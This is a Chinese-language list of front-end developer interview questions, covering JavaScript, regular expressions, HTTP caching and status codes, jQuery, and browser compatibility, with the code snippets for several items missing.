A: Ajax本质是XMLHttpRequest
B: 块元素实际占用的宽度与它的width、border、padding属性有关，与background无关
C: position属性absolute、fixed、—relative—会使文档脱标
D: float属性left也会使div脱标

正则表达式

写出由字母开头，其余由数字、字母、下划线组成的 6~30 的字符串

写出正确的正则表达式匹配固话号

要求最短6位数，最长20位，阿拉伯数和英文字母（不区分大小写）组成

输出结果是

声明对象，添加属性，输出属性

匹配输入的字符：第一个必须是字母或下划线开头，长度5-20

检测变量类型

如何在HTML中添加事件

BOM对象有哪些，列举window对象

代码实现 outerHTML

JS中的简单继承 call方法！

bind(), live(), delegate()的区别

如何优化自己的代码

怎样实现两栏等高

使用js实现这样的效果

以下代码中end字符串什么时候输出

实现specify函数

简述 readyonly 与 disabled 的区别

解释ajax的工作原理

为什么扩展javascript内置对象不是好的做法？

什么是三元表达式？

HTTP协议中，GET和POST有什么区别？分别适用什么场景 ？

HTTP状态消息200 302 304 403 404 500分别表示什么

HTTP协议中，header 信息里面，怎么控制页面失效时间（last-modified, cache-control, Expires分别代表什么）

业界常用的优化 WEB 页面加载速度的方法（可以分别从页面元素展现，请求连接，css,js,服务器等方面介绍）

列举常用的 web 页面开发，调试以及优化工具

解释什么是sql注入，xss漏洞

请列举js数组类型中的常用方法

ECMAScript 6 中数组新方法

FF与IE中如何阻止事件冒泡，如何获取事件对象，以及如何获取触发事件的元素

列举常用的js框架以及分别适用的领域

js中如何实现一个map

js可否实现面向对象编程，如果可以如何实现js对象的继承

变量的命名规范以及命名推荐

三种弹窗的单词以及三种弹窗的功能

输出值是

求一个函数 y = f(x, a, b);

JavaScript alert(0.4*0.2); 结果是多少? 如何处理

一个div，有几种方式得到这个 div 的 jQuery 对象？

jQuery 框架中 $.ajax()的常用参数有哪些

闭包

列出3条以上 ff 和 IE 的脚本兼容问题

列举浏览器对象模型BOM里常用的至少4个对象，并列举window对象的常用方法至少5个

在Javascript中什么是伪数组？如何将伪数组转化为标准数组？

写一个函数可以计算 sum(5, 0, -5); 输出0; sum(1,2,3,4); 输出10;

算法

请写出一个程序

用JavaScript实现冒泡排序。数据为23、45、18、37、92、13、24

前端代码优化的方法

下列JavaScript代码执行后，依次alert的结果是

下列JavaScript代码执行后，iNum的值是

输出结果是多少

下列JavaScript代码执行后，运行的结果是

下列JavaScript代码执行后，依次 alert 的结果

下列JavaScript代码执行后的效果是

下列JavaScript代码执行后的 li 元素的数量是

程序中捕获异常的方法

原型对象上添加方法

数组和字符串

下列控制台都输出什么

选择题

以下哪些是javascript的全局函数：( ABC )

关于IE的window对象表述正确的有：( ACD )

下面正确的是 ( A )

错误的是 ( B )

HTTP协议中，GET和POST有什么区别？分别适用什么场景？